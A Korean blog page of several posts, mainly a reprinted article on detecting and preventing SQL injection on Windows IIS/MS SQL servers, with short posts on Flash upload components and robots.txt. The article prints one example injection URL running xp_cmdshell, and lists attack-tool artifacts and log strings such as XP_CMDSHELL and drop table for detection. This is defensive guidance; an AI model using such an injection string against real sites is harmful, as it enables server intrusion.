위의 공격방법 중 의도적인 오류를 발생하는 부분이 있었습니다.
 
이 경우 웹서버는 이런 오류를 500 (서버오류) 로 나타냅니다.
 
500 오류에 대한 로그를 확인해서 특별히 오류가 나타날 소지가 없는
 
페이지에서 계속적으로 500 오류가 난다면 우선 의심해 봐야 합니다.

또한 동일한 페이지를 계속적으로 로딩하는 놈이 있다면 역시 의심대상입니다.
SQL Injection
은 여러 번 시도해봐야 유용한 정보를 캐낼 수 있습니다
따라서 동일한 페이지를 계속 호출하는 클라이언트가 있다면 응징의 대상일
가능성이 높습니다.

웹서버를 운영하는 회사에서는 될 수 있으면 많은 로그를 남기는게 보안상 좋습니다.
또한 로그파일의 주기적인 점검 또한 수반되어야 겠지요..
당신이 프로그래머라면 로그파일을 자동으로 분석해 SQL Injection 공격을
찾아내는 좋은 프로그램을 개발 할 수도 있을 것입니다

출처 : Tong - nicekiller77님의 데이터베이스통

2008/05/19 16:51 2008/05/19 16:51

사용자 삽입 이미지
What is SWFUpload

A small javascript/flash library to get the best of both worlds - The great upload capabilitys of flash and the accessibility and ease of html/css

FLASH와 JAVASCRIPT로 구성한 다중(?) 업로드 컴포넌트(?)정도 되겠다.
태터에서 파일을 업로드 할 경우 여러 파일을 한번에 선택해서 업로드 하는 방식을 구현해 볼려고 찾다가 발견,
방식은 플래시에서 파일 선택창을 열도록 하고 선택한 파일을 실제 업로드 되는 경로로 던져주는 역활을 한다.

각 상황에(JSP,PHP,ASP.NET...) 적당한 짤막한 소스가 있으며, 사용방법 또한 매우 간단하다.
필요한 여러가지 이벤트 처리기능이 있으며, 플래쉬 액션 스크립트에 자신이 있다면 원본 소스를 제공 하고 있으니 수정하는것도 가능

LINK : SWFUpload HomePage
DOWNLOAD LINK : SWFUpload Download

2008/03/26 18:40 2008/03/26 18:40
사용자 삽입 이미지


플래쉬 8 버전이 출시되었으나...


역시나 파일 업로드 기능만 눈에 들어왔습니다;;


그래서 한번 만들어 봤습니다.


환경설정 부분은 config.xml 에 정의하시면 되구요.


파일 업로드 자체 구현은 JSP 이나 PHP 같은 다른 언어에서 쓰고자 하시는 분은


기존 파일 업로드 구현한대로 코딩하신 후 업로드 URL만 변경하시면 됩니다.


윈도우 익스플로러, 파이어폭스에서 잘되고,


리눅스에서 파이어폭스에선 잘 안되는 것 같네요.


리눅스용 플래쉬 플레이어 8 버전도 아직 안나온 것 같던데;;


추후에 테스트 해보도록 하겠습니다.


예제는 다음과 같습니다.


http://www.ghlab.com/blog/flashupload/upload.html


소스 경로는 다음과 같습니다.


http://www.ghlab.com/blog/flashupload/flashupload.zip


05.09.23 - 환경 설정을 xml 로 변경( xml 주석 참조 바랍니다. )

05.09.24 - 윈도우용 파이어폭스 테스트 완료.

2007/12/27 17:02 2007/12/27 17:02

웹 관리자를 위한 응급처치법
SQL Injection 해킹 보안


박상옥│호스트웨이코리아


몇 해 전부터 중국 해커들로부터 한국의 서버들이 해킹당하는 사례가 급격히 증가하고 있다. 이 같은 해킹 피해 사례가 외부로 알려지지 않은 경우가 많지만, 윈도우 환경에서 서버를 운영하는 국내 유수의 사이트들은 드러난 수치보다 훨씬 빈번하게 SQL Injection으로 인한 피해를 입어왔다.

필자의 실제 경험으로도 그렇다. 필자와 상담한 어느 고객의 경우 SQL Injection의 침입으로 참담한 피해를 감수해야 했다. 이 고객은 MS SQL의 시스템 관리자 계정으로 웹 사이트의 DB 연동을 수행했는데 이 과정에서 SQL Injection의 공격을 받아 시스템은 물론이고, 디스크에 저장된 데이터 모두를 잃고 말았다.

당시 고객이 이용한 디스크는 73GB 용량의 SCSI 디스크였으나, 이것이 논리적으로 인식된 크기는 1TB에 달했다. 이를 로 레벨 포맷하고 나서야 정상적인 크기로 돌아왔지만, 이미 모든 데이터는 사라진 후였다. 이처럼 SQL Injection은 단순한 웹 변조 수준을 넘어 시스템과 디스크 장치까지 피해를 주고 있다.


웹서버 보안을 강화하자


지금부터는 자신이 관리하는 윈도우 시스템에 SQL Injection의 침입 흔적이 있는지를 확인하고, 웹서버의 보안을 강화하는 방법을 살펴보자.

사실 SQL Injection으로 인한 피해는 프로그래머의 부주의에서 비롯된다고 해도 지나치지 않다. 따라서 SQL Injection으로 인한 피해를 예방하려면 다음의 3가지를 우선적으로 지켜야 한다.

①Sysadmin 권한의 계정으로 DB Connection을 하지 말자.
②입력폼 등에서 특수문자나 예외문자에 대한 Replace를 수행한다.
③저장 프로시저(Stored Procedure)를 이용한다.

SQL Injection 방지와 관련한 프로그래밍 자료는 다음 사이트(KISA)에서 다운로드할 수 있다(http://www.kisa.or.kr/ news/2005/announce_20050427_submit.html).


SQL Injection의 3가지 기법


SQL Injection을 이용한 해킹은 시스템의 취약성에 따라 Authentication Bypass, OS call, Query manipulation 등을 조합해 이뤄진다.


■ Authentication Bypass
주로 로그인 창에 적용되는 기법으로 이용자 아이디와 패스워드를 몰라도 로그인할 수 있게 해준다. 테이블의 첫 번째 Row 값을 써서 로그인하고, 만약 그것이 관리자 페이지라면 웹사이트 관리자로 로그인할 수 있다.

<화면1>Authentication Bypass를 써서 보안이 취약한 웹사이트에 로그인 할수 있다.


■ OS Call
OS Call은 Sysadmin 권한 계정으로 DB 연동을 수행했을 때를 노린다. 마스터 DB의 확장 저장 프로시저에서 윈도우 시스템을 핸들링할 수 있는 확장 저장 프로시저들을 실행케 해주는 것이다.

OS Call을 방지하기 위해서는 아래의 확장 저장 프로시저들을 쓰지 못하도록 Disable하거나, 확장 프로시저에 해당하는 DLL 파일을 삭제해야 한다. 그러나 이 역시 완전한 대비책은 못 된다. 삭제된 DLL 파일은 해커에 의해 재생성되거나, 업로드돼 이용될 수 있기 때문이다. 그러므로 해킹을 염려한다면 Sysadmin 권한 계정으로 DB 연동을 절대 수행하지 말아야 한다.


<화면2> OS Call은 확장 프로시저를 이용해 Admin 권한 계정을 생성하는 원리다.



■ Query Manipulation
아래 URL 주소와 같이 예외 처리를 하지 않은 사이트는 SQL Query를 조작할 수 있다.

http://www.somecompany.com/notice.asp?no=5 ;EXEC master. dbo.xp_cmdshell’ cmd.exe dir c:



Injection 자료의 수집


SQL Injection을 위한 데이터는 주로 웹 랭킹 사이트에서 수집된다. 특히 구글 해킹을 통한 admin 페이지 수집이 빈번한 것으로 알려져 있다. 일반적으로 admin 페이지들은 http:// website.com/admin을 이용하는 경우가 많은데 이런 데이터 수집 과정을 감안하면 이는 결코 바람직하지 않다. 또한 해당 사이트나 제품의 취약점을 찾아내주는 SQL Injection Tool도 침입을 위한 자료 수집에 많이 이용되고 있다. 이 도구들은 주로 중국에서 제작돼, 심지어 상용화되기도 한다.


<화면3> Googledock을 이용한 정보 수집



SQL Injection의 피해 확인


일반적으로 웹사이트가 Injection 툴에 의해 침입을 받았다면 DB에 해당 툴을 암시하는 테이블이나, 이용자 계정 정보가 남아 있게 된다. 또한 IIS 웹로그에도 로그 기록이 남기 때문에 이를 통해서도 침입 흔적을 확인할 수 있다.

■ HDSI 툴에 의한 침입
HDSI 툴은 SQL Injection에 취약한 사이트의 DB를 조회하거나 시스템 명령어 등을 실행할 수 있게 해준다. DB에 T_Jiaozhu, jiaozhu, comd_list, xiaopan, Reg_Arrt 등의 테이블을 생성하므로, 이 테이블들의 존재를 확인함으로써 침입 여부를 알 수 있다.


■ D-SQL에 의한 침입
DB에 D99_Tmp라는 테이블이 존재한다면 D-SQL을 써서 시스템 명령어를 실행한 것으로 볼 수 있다. 아울러 D99_Reg 테이블은 레지스트리 수정, D99_Tmp는 디렉토리 탐색, D99_CMD는 명령어 수행이 이뤄졌음을 각각 나타낸다. D-SQL은 또한 IIS 웹로그도 생성한다.


 


<화면4> HDSI 툴은 T_Jiaozhu, jiaozhu, comd_list, xiaopen, Red_Arrt 등의 테이블을 생성한다.

 

<화면5> D-SQL의 실행 모습



웹로그에서 확인하기


웹로그에서도 테이블과 관련한 Create나 Select 구문이 없는지를 확인해야 한다. 아울러 확장 저장 프로시저에 대한 로그가 존재하는지도 살펴본다. 웹로그에서 검색해봐야 할 문자열에는 XP_CMDSHELL, Net, user, Update, Insert, drop table 등이 있다.


<화면6> D99_Tmp, D99_Reg, D99_Tmp 테이블은 D-SQL의 침입을 의미한다.


웹서버 보안을 위한 체크 리스트


지금부터는 웹서버 보안을 위한 주요 체크 리스트를 소개한다. 다음의 내용을 자세히 살펴본 후 자신의 웹서버에 해당되는 부분을 찾아 적용해보자. 이 체크 리스트는 대부분 윈도우 2000 환경을 전제로 하고 있다.


■ Patches and Updates
먼저 최신 패치나 서비스팩을 적용했는지 여부와 정기적으로 MBSA를 써서 운영체제 및 애플리케이션 보안을 체크하고 있는지를 확인한다. 현재 2.0 버전이 출시돼 있고, 패치 정보와 윈도우 보안에 대한 가이드도 제공하고 있다. 정기적으로 MS가 제공하는 최신 패치 정보(http://www.microsoft.com/ technet/security/bulletin/notify.asp)를 받아보는 것도 큰 도움이 된다.


■ IISLockdown
IISLockdown이 웹서버에 설치돼 운영되고 있는지를 살펴본다. IISLockdown은 웹서버 보호 과정을 대부분 자동화해주는 도구로 서버 용도나 유형에 따라 여러 보안기능을 해제하거나, 보호할 수 있는 이용자 템플릿을 제공한다. 또한 URLScan을 설치 및 구성했는지도 체크해야 한다. URLScan은 웹사이트 관리자가 서버에서 처리 가능한 웹 요청을 제한할 수 있는 ISAPI 필터로, 잠재적으로 유해할 수 있는 웹 요청을 서버에 도달하기 전에 차단해준다.


■ Services
불필요한 윈도우 서비스들을 disable로 설정했는지도 체크 포인트다. FTP, SMTP, NNTP 서비스 등이 필요치 않다면 설치하지 않는다. 특별한 경우가 아니라면 Telnet과 ASP .NET state service는 중지하는 것이 바람직하다.


■ Protocols
WebDAV를 이용하지 않는다면 중지하고, 필요하다면 반드시 보안 설정을 수행한다. 보안 설정과 관련된 내용은 http:// support.microsoft.com/default.aspx?scid=kb;en-us;Q323470을 참고한다. NetBIOS와 SMB 포트(137, 138, 139, 445 포트)의 Disable 설정도 고려할 만하고, 윈도우 2000이라면 DoS 공격을 대비한 TCP/IP Stack의 강화가 필요하다. 보다 자세한 내용은 http://support.microsoft.com/default. aspx?scid=kb;ko;315669를 참고한다.


■ Accounts
이용하지 않는 계정은 삭제하고, Guest 계정은 항상 disable로 설정한다. Administrator 계정은 암호 설정 규칙을 충실히 따른 후 Rename해 쓴다. 그러나 윈도우 2000의 경우 Administrator 계정을 Rename해도 완벽히 대비할 수 없다는 점을 유의해야 한다. 윈도우 2000의 관리자 계정은 500번 이하의 기본 SID 값을 가지는 탓에, 해커들이 액티브 디렉토리나 로컬 SAM을 이용해 이 SID 값을 아이디로 바꿔 계정을 공격할 수 있다. 이를 방지하기 위해서는 다음의 과정을 따른다.

?U AD 환경이라면 그룹 정책 가운데 하나인 기본 도메인 정책을 수정한다.
‘컴퓨터 구성\Windows 설정\보안 설정\로컬 정책\보안 옵션’에서 익명 연결의 추가적인 제한을 ‘SAM 계정 및 공유 열거 허용 안 함’으로 선택한다.
?V AD 환경이 아니라면 시작-실행-gpedit.msc을 입력해 그룹정책을 적용한다.

■ Files and Directories
NTFS 파일시스템을 선택하고, 웹사이트의 루트 디렉토리는 SystemRoot 드라이브 외의 디렉토리에 위치시킨다. 아울러 웹로그 디렉토리는 SystemRoot 드라이브 및 웹사이트 루트 디렉토리 외의 볼륨에 두도록 한다. Everyone 그룹을 제거하고, Website Root 디렉토리에 IUSR_Machine 계정의 쓰기 권한을 주지 않는다.
자료실 이용 등으로 익명의 계정이 업로드해야 한다면, 해당 웹서비스의 디렉토리 내에는 Script 실행 권한을 부여하지 않는다. 기본 웹사이트와 관리 웹사이트는 삭제하거나 중지한다.


■ Shares
불필요한 공유는 없애고, 파일 공유 생성 시 권한에 유의한다. Everyone Access는 되도록 쓰지 않는다.


■ Ports
SSL을 구성한다.


■ Registry
원격 레지스트리 연결을 제한하기 위해 Remote Registry Service를 중지한다. 198쪽에서 계속

정리 | 전도영 mir@imaso.co.kr


참고자료

http://www.krcert.or.kr
Microsoft - Checklist: Securing Your Web Server


툴 소개


웹 침입 차단을 위한 프레임 제공, Webknight

Webknight는 공개 소프트웨어의 하나로 SQL Injection을 비롯해 여러 형태의 웹 공격을 차단하는 프레임을 제공한다. 웹사이트(http://www. aqtronix.com)에서 다운로드 해 이용할 수 있지만, 실제 서버에 적용하기 전에는 반드시 테스트 서버를 통한 점검이 이뤄져야 한다.

① 사이트(http://www.aqtronix.com/downloads/WebKnight/ 2004.02.01/WebKnight.zip)에서 다운로드한다.
② 압축을 해제하고, Setup 폴더 하위의 WebKnight.Msi를 실행해 설치한다.
③ IIS 웹서버를 Restart 한다.
④ 정상적으로 설치가 완료되면, <화면 7>과 같이 ISAPI Filters에 Webknight가 추가된다.
⑤ 기본 설치 폴더에서 C:\Program Files\AQTRONIX Webknight\ Config.exe를 실행하면, 현재 설정을 볼 수 있다.



<화면 7> ISAPI Filters에 Webknight 추가



⑥ <화면 8>처럼 SQL Injection 관련 설정을 확인하고, 필요한 경우 수정한다.
⑦ <화면 8>처럼 해당 Query가 2번 이상 요청되면 블로킹 웹사이트를 보여준다.
⑧블로킹 페이지를 수정할 때는 C:\Program Files\AQTRONIX Webknight\nohack.htm을 이용한다.

한편 무료 웹사이트 점검을 이용해 웹사이트의 취약점을 파악할 수도 있다. 한국정보보호진흥원이 마련한 웹 취약점 원격 점검 서비스(webcheck.krcert.or.kr)가 대표적이다. 이 사이트에 접속해 서비스를 신청하면 운영하는 웹사이트가 지닌 위험 요소를 쉽게 파악할 수 있다. 이외에도 많은 인터넷 데이터센터(IDC)들이 SQL Injection 무료 점검 서비스를 제공하고 있다.



<화면 8> SQL Injection 관련 설정 확인




제공 : DB포탈사이트 DBguide.net

2007/12/20 14:05 2007/12/20 14:05
출처 http://webarty.com

방법 1. 웹로봇 배제 표준(Robot Exclusion Standard)에 의한 방법

- 웹로봇의 수집과 검색노출을 원치 않는 경우, 우선 해당 웹페이지가 위치한 최상위 디렉토리에 아래의 내용이 포함된 robots.txt 파일을 저장하시기 바랍니다. 
User-Agent:*
Disallow:/ 

만약 웹로봇이 방문한 이후에 robots.txt 의 로봇배제관련 표준이 적용되었다면, 검색결과에 적용되기까지는 다소 시간이 걸릴 수 있습니다. 자세한 로봇배제에 대한 표준은 www.robotstxt.org 를 통해 알 수 있습니다. 

- 특정한 페이지에 대해 웹로봇의 색인이나 링크분석을 막고 싶은 때는 경우에 따라 아래와 같은 메타태그를 HTML 문서의 <HEAD> 부분에 추가하시면 됩니다. 

웹페이지를 검색결과에 노출하고 싶지 않을 때
<META NAME="robots" CONTENT="noindex"> 
 

웹페이지 내에 포함된 링크를 따르는 수집도 막고 싶을 때 <META NAME="robots" CONTENT="noindex, nofollow">
2007/11/14 17:08 2007/11/14 17:08